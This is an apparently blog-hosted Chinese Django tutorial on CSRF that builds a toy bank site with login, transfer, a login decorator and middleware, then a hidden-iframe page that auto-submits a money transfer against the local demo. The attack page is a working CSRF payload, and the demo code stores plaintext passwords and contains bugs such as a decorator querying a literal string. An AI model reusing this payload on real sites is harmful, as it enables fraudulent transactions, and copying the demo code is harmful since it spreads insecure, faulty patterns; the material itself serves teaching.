148.CSRF攻击原理分析、防御、装饰器、中间件、IFrame以及js实现csrf攻击
2024-09-05 04:52:57
CSRF攻击概述：
CSRF（Cross Site Request Forgery 跨站域请求伪造）是一种网站攻击的方式，它在2007年曾被列为互联网20大安全隐患之一。其他的安全隐患，比如SQL脚本注入，跨站域脚本攻击等在近年来已经逐渐为众人熟知，很多网站也都针对他们进行了防御。然而，对于大多数人来说，CSRF还是很陌生的，Gmail在2007年底也存在csrf漏洞，从而被黑客攻击而使Gmail的用户造成巨大的损失。
CSRF攻击原理：
网站是通过cookie来实现登录功能的。而cookie只要存在浏览器中，那么浏览器在访问这个cookie的服务器的时候，就会自动的携带cookie信息到服务器上去。那么这个时候就存在一个漏洞了，如果你访问了一个病毒网站或者是别有用心的网站，这个网站可以在网页源代码中插入js代码，使用js代码给其他服务器发送请求（比如ICBC的转账请求）。那么因为在发送请求的时候，浏览器会自动的把cookie发送给对应的服务器，这时候相应的服务器（比如ICBC网站），就不知道这个请求是伪造的，从而就可以达到在用户不知情的情况下，给服务器发送一个请求（转账）。
防御CSRF攻击：
CSRF攻击的要点就是在向服务器发送请求的时候，相应的cookie会自动的发送给对应的服务器。造成服务器不知道这个请求的情况下是用户发起的还是伪造的。这时候，我们可以在用户每次访问有表单的页面的时候，在网页源代码中加入一个随机的字符串叫做csrf_token，在cookie中也加入一个相同值的csrf_token字符串。以后给服务器发送请求的时候，必须在body中以及在cookie中都携带csrf_token，服务器只有检测到cookie中的csrf_token和body中csrf_token都相同，才认为这个请求是合法的。
实例
比如，我们要实现一个icbc网站注册、登录、退出登录、转账的功能。
（1）views.py文件中示例代码如下：
from django.shortcuts import render, redirect, reverse
from django.http import HttpResponse
<!--定义类视图，导入View-->
from django.views import View
<!--导入我们定义的用户模型User-->
from .models import User
<!--导入定义的表单，可创建表单对象-->
from .forms import SignupForm, SigninForm, TransferForm
<!--导入django.contrib.messages可以在浏览器中显示错误信息以及级别-->
from django.contrib import messages
<!--导入F表达式，可以动态获取数据库中某字段的数据，而不执行sql语句，直接在原来的数据之上更新-->
from django.db.models import F
<!--1. 定义首页，直接返回一个html模板-->
def index(request):
return render(request,'index.html')
<!--2. 定义一个注册的类视图-->
class SignupView(View):
<!--如果浏览器发送的是get请求，就返回一个注册的模板-->
def get(self, request):
return render(request, 'signup.html')
<!--如果浏览器发送过来的是post请求，就通过表单验证数据的合法性-->
def post(self, request):
form = SignupForm(request.POST)
if form.is_valid():
<!--合法的话，就将提交上来的数据保存到数据库中，并且重定向到登录界面-->
form.save()
return redirect(reverse('signin'))
else:
<!--不合法的话，就在控制台打印出错误信息，并且重定向到当前的注册界面-->
print(form.errors.get_json_data())
return redirect(reverse('signup'))
<!--2. 定义登录类视图-->
class SigninView(View):
<!--如果浏览器发送的是get请求，就返回登录界面的模板-->
def get(self, request):
return render(request,'signin.html')
<!--如果浏览器发送的是post请求，就验证数据库中是否有与提交上来的数据相同的一条数据-->
def post(self, request):
form = SigninForm(request.POST)
if form.is_valid():
username = form.cleaned_data.get('username')
password = form.cleaned_data.get('password')
email = form.cleaned_data.get('email')
user = User.objects.get(username=username, password=password, email=email)
<!--如果存在，就在cookie中设置一个session_id即为登录的用户的pk,并且重定向到转账界面-->
if user:
request.session['user_id'] = user.pk
return redirect(reverse('transfer'))
else:
<!--如果不存在该用户，就重定向到注册界面-->
return redirect(reverse('signup'))
else:
<!--如果表单中的信息没有得到验证，就打印出错误信息-->
print(form.errors.get_json_data())
return HttpResponse('请确定输入的信息是否正确！')
<!--3. 定义转账类视图-->
class TransferView(View):
<!--如果浏览器发送的是get请求，就返回转账的模板-->
def get(self,request):
return render(request, 'transfer.html')
<!--如果浏览器发送的是post请求，首先通过表单验证数据是否合法-->
def post(self, request):
form = TransferForm(request.POST)
context = {
'info': '转账成功！'
}
if form.is_valid():
email = form.cleaned_data.get('email')
money = form.cleaned_data.get('money')
user_id = request.session.get('user_id')
user = User.objects.filter(pk=user_id).first()
<!--如果可以在数据库中查找pk与cookie中的session_id相同的一条数据，就将该用户上的余额减去money-->
<!--首先我们需要判断用户的余额是否大于提交的转账的money，只有大于等于money，我们才可以执行以下操作-->
if user.balance >= money:
user.balance -= money
user.save()
<!--并且将email为输入email的用户的余额加money-->
<!--这里我们可以直接使用update()和F表达式，这样可以减少数据库的查询操作，提高查询效率-->
User.objects.filter(email=email).update(balance=F('balance')+money)
return render(request, 'transfer.html', context={'context': context})
else:
<!--如果约小于money，就返回给用户余额不足-->
return HttpResponse('余额不足！')
else:
<!--如果表单验证没有通过，就打印出错误信息-->
print(form.errors.get_json_data())
<!--并且重定向到当前的转账界面-->
return redirect(reverse('transfer'))
<!--4. 定义退出登录类视图-->
def Logout(request):
# 其实，调用flush()方法的时候，首先会将cookie中的session_id中的内容清空，并不会直接删除在cookie记录的session_id,
# 如果再次执行该函数就会将原来cookie中还保留的session_id 删除。
request.session.flush()
context = {
'info': '成功退出登录',
}
return render(request, 'index.html', context={'context': context})
（2）urls.py文件中进行视图函数与url之间的映射，示例代码如下：
from django.urls import path
from front import views
urlpatterns = [
path('', views.index, name='index'),
path('signup/', views.SignupView.as_view(), name='signup'),
path('signin/', views.SigninView.as_view(), name='signin'),
path('transfer/', views.TransferView.as_view(), name='transfer'),
path('logout/', views.Logout, name='logout'),
]
（3）index.html（中国工商银行首页）中示例代码如下：
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ICBC</title>
</head>
<body>
<h1>中国工商银行首页</h1>
<ul>
<li><a href="{% url 'signin' %}">登录</a></li>
<li><a href="{% url 'signup' %}">注册</a></li>
<li><a href="{% url 'logout' %}">退出登录</a></li>
{{ context.info }}
</ul>
</body>
</html>
（4）signup.html（注册界面）示例代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ICBC</title>
</head>
<body>
<h1>中国工商银行注册界面</h1>
<form action="" method="post">
<!--使用csrf_token标签，在浏览器加载的时候，可以自动生成一个csrf_token的input标签-->
{% csrf_token %}
<table>
<tr>
<td>用户名：</td>
<td><input type="text" name="username"></td>
</tr>
<tr>
<td>密码：</td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td>确认密码：</td>
<td><input type="password" name="password_repeat"></td>
</tr>
<tr>
<td>邮箱：</td>
<td><input type="email" name="email"></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="提交"></td>
</tr>
<tr>
<td></td>
<td>
<ul>
{% for message in messages %}
<li>{{ message }}</li>
{% endfor %}
</ul>
</td>
</tr>
</table>
</form>
</body>
</html>
（5）signin.html（登录界面）示例代码如下：
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ICBC</title>
</head>
<body>
<h1>中国工商银行登录界面</h1>
<form action="" method="post">
{% csrf_token %}
<table>
<tr>
<td>用户名：</td>
<td><input type="text" name="username"></td>
</tr>
<tr>
<td>密码：</td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td>邮箱：</td>
<td><input type="email" name="email"></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="提交"></td>
</tr>
</table>
</form>
</body>
</html>
（6）transfer.html（转账界面）示例代码如下：
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ICBC</title>
</head>
<body>
<h1 style="margin: auto">
中国工商银行转账界面
</h1>
<form action="" method="post">
{% csrf_token %}
<table>
<tr>
<td>转账给邮箱：</td>
<td><input type="email" name="email"></td>
</tr>
<tr>
<td>金额：</td>
<td><input type="text" name="money"></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="提交"></td>
</tr>
</table>
</form>
{{ context.info }}
<ul>
<button><a href="{% url 'logout' %}">退出登录</a></button>
</ul>
</body>
</html>
（7）User模型的定义，models.py文件中示例代码如下：
from django.db import models
from django.core import validators
class User(models.Model):
username = models.CharField(max_length=20)
password = models.CharField(max_length=24, validators=[validators.MinLengthValidator(6)])
email = models.EmailField()
balance = models.FloatField(default=0) # 余额
class Meta:
db_table = 'user'
（8）定义表单验证我们使用post请求提交的信息，forms.py文件中示例代码如下：
from .models import User
from django import forms
<!--定义注册表单的验证-->
<!--注意，这里继承的是Model.Form，而不是Form-->
class SignupForm(forms.ModelForm):
password_repeat = forms.CharField(max_length=24, min_length=6)
class Meta:
model = User
fields = ['username', 'password','email']
<!--判断两个字段的值是否相同，可以通过重写类的clean()方法-->
def clean(self):
clean_data = super(SignupForm, self).clean()
password = clean_data.get('password')
password_repeat = clean_data.get('password_repeat')
if password != password_repeat:
raise forms.ValidationError('两次输入密码不一致！')
<!--注意，如果用户的两次密码输入相同，一定要返回clean_data-->
return clean_data
<!--定义登录表单的验证-->
class SigninForm(forms.ModelForm):
class Meta:
model = User
fields = ['username', 'password', 'email']
<!--定义转账表单的验证-->
class TransferForm(forms.Form):
email = forms.CharField(max_length=30)
money = forms.FloatField()
此时，该网站有一个小bug，就是在用户点击退出登录，或者是直接将浏览器中cookie中的session_id删除之后，同样可以访问转账的界面，这样的话，就有些不符合情理了。
装饰器:实现没有登录不能访问转账的界面
（1）这个就可以使用装饰器来实现，自定义装饰器。可以在APP中创建一个python文件（decorators.py），定义装饰器函数，示例代码如下：
def login_decorator(func):
def wrapper(request, *args, **kwargs):
<!--首先,我们可以通过cookie的session中是否有user_id,来判断用户是否登录-->
user_id = request.session.get('user_id')
exists = User.objects.filter(pk='user_id').exists()
if exists:
return func(request, *args, **kwargs)
else:
return redirect(reverse('signin'))
return wrapper
（2）在views.py中导入写好的装饰器，并且装饰到转账类视图上，示例代码如下：
<!--导入装饰类视图的函数method_decorator-->
from django.utils.decorators import method_decorator
<!--导入自定义的装饰器函数-->
from .decorators import login_decorator
<!--装饰转账类视图-->
@method_decorator(login_decorator, name='dispatch')
<!--直接在类视图之前添加上面一行代码就行-->
class TransferView(View):
def get(self,request):
return render(request, 'transfer.html')
def post(self, request):
form = TransferForm(request.POST)
context = {
'info': '转账成功！'
}
if form.is_valid():
email = form.cleaned_data.get('email')
money = form.cleaned_data.get('money')
user_id = request.session.get('user_id')
user = User.objects.filter(pk=user_id).first()
if user.balance >= money:
user.balance -= money
user.save()
User.objects.filter(email=email).update(balance=F('balance')+money)
return render(request, 'transfer.html', context={'context': context})
else:
return HttpResponse('余额不足！')
else:
print(form.errors.get_json_data())
return redirect(reverse('transfer'))
（3）之后，如果不登录就访问转账的界面http://127.0.0.1:8001/transfer/,就会重定向到登录的界面，不允许用户在未登录的情况下访问转账界面。
中间件优化ICBC网站
在我们以上的代码中，多次进行判断cookie的session中是否存在user_id，从数据库中查找与user_id相同的pk。所以，我们可以将这个直接定义为一个中间件，直接将这样的用户定义为front_user，并且绑定在request上。在APP中创建一个middlewares.py文件，用来存放自定义的中间件的函数，示例代码如下：
from .models import User
def front_user_middleware(get_response):
print('front_user_middleware初始化执行的代码....')
def middleware(request):
print("request到达view视图之前执行的代码....")
user_id = request.session.get('user_id')
<!--注意，这里一定要先判断user_id的存在性之后，再从user表中查找user_id用户-->
if user_id:
try:
user = User.objects.get(pk=user_id)
request.front_user = user
except:
request.front_user = None
else:
request.front_user = None
response = get_response(request)
print('response到达浏览器之前执行的代码....')
return response
return middleware
之后，在项目的settings.py文件中的MIDDLEWARE添加我们自定义的中间件函数，规则为：appname.pythonfilename.functionname，front.middlewares.front_user_middleware。
IFrame相关知识
1. iframe可以加载嵌入别的域名下的网页。也就是说可以发送跨域请求。比如我可以在自己的网页中加载百度的网站，示例代码如下：
<iframe src="http://www.baidu.com/"></iframe>
2.因为iframe加载的是别的域名下的网页，根据同源策略，js只能操作属于本域名下的代码，因此，js不能操作通过iframe加载来的DOM元素。
3.如果iframe的src属性为空，那么就没有同源策略的限制，这时候我们就可以操作iframe下面的代码了。并且，如果src为空，那么我们可以在iframe中，给任何域名发送请求。
4.直接在iframe中写html代码，浏览器并不会加载。因此，我们可以先让网页加载html代码，之后执行js代码将html加载进入iframe向指定的url发送请求。
比如，我们现在可以创建一个新的项目，实现js操作iframe向我们的icbc银行网站发送一个转账给孤烟逐云（333333@qq.com）100元的请求，只是实现一个首页。
（1）views.py文件中示例代码如下：
from django.shortcuts import render
def index(request):
return render(request, 'index.html')
（2）urls.py文件中进行视图函数与url之间的映射，示例代码如下：
from django.urls import path
from .import views
urlpatterns = [
path('', views.index, name='index'),
]
（3）index.html代码如下：
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>病毒网站</title>
<script src="http://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
</head>
<body>
<img src="http://cms-bucket.nosdn.127.net/312e057a25f148519dc02b40812c78fe20170510155251.gif" alt="" width="100%"
height="100%">
<iframe src="" frameborder="" style="width:0; height: 0;" id="myframe"></iframe>
<form src="http://127.0.0.1:8002/transfer/" method="post" id="myform">
<input type="text" name="email" value="333333@qq.com">
<input type="text" name="money" value="100">
</form>
<script>
window.onload = function() {
$('#myframe').contents().find('html').html($('#myform'));
$('#myframe').contents().find('html').children($('#myform')).submit();
}
</script>
</body>
</html>
这个时候，如果我们登录的icbc网站转账的cookie中还保留有我们的信息，这个时候只要访问了我们定义的病毒网站的首页，我们登录的用户数据库中的余额就会少100元。当然了，进行这种csrf攻击的前提是我们在icbc网站的项目settings.py文件中没有开启中间件CsrfMiddleware。如果开启了该中间件，就不能进行这种csrf攻击了。
最新文章
- Leetcode Distinct Subsequences
- java的值传递和引用传递
- 《The Django Book》实战--第二章--动态网页基础
- ESXI
- NAT（未验证，后续见Linux服务器架构篇）
- RxCache 的代码分析，含缓存时间duration的在代码中改变的自己实现的机制
- spring(7)--注解式控制器的数据验证、类型转换及格式化
- XJOI网上同步训练DAY5 T1
- iOS self和super的区别
- C语言的本质（3）——整数的本质与运算
- 孙陪你，了解它的力量——unity3d流程暂停
- Android Stdio 如何自定义生成APK的名称
- Android项目-高考作文-使用ORMLite抽象公共的Dao层
- Hive中的Order by与关系型数据库中的order by语句的异同点
- Zsh安装及常用操作
- Golang 笔记 5 go语句
- java 基础one ---运算符and流程控制
- 如何通过ssh远程登录内网的Mac和Linux系统？
- PHP + Smarty + html5 构建Wap应用
- Java数组初始